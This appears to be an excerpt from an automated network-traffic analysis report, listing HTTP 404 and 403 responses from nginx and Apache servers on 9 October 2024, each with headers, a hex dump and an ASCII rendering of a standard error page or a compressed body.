            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:45:36 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:45:42 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:45:44 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:45:47 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:45:49 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 09 Oct 2024 12:46:17 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a90Dw$|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy|zvn1DQZ((}&Zce_[0$0
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 09 Oct 2024 12:46:19 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a90Dw$|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy|zvn1DQZ((}&Zce_[0$0
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 09 Oct 2024 12:46:22 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a90Dw$|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy|zvn1DQZ((}&Zce_[0$0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 09 Oct 2024 12:46:33 GMTContent-Type: text/html; charset=utf-8Content-Length: 555Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 09 Oct 2024 12:46:35 GMTContent-Type: text/html; charset=utf-8Content-Length: 555Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 09 Oct 2024 12:46:38 GMTContent-Type: text/html; charset=utf-8Content-Length: 555Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 09 Oct 2024 12:46:41 GMTContent-Type: text/html; charset=utf-8Content-Length: 555Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
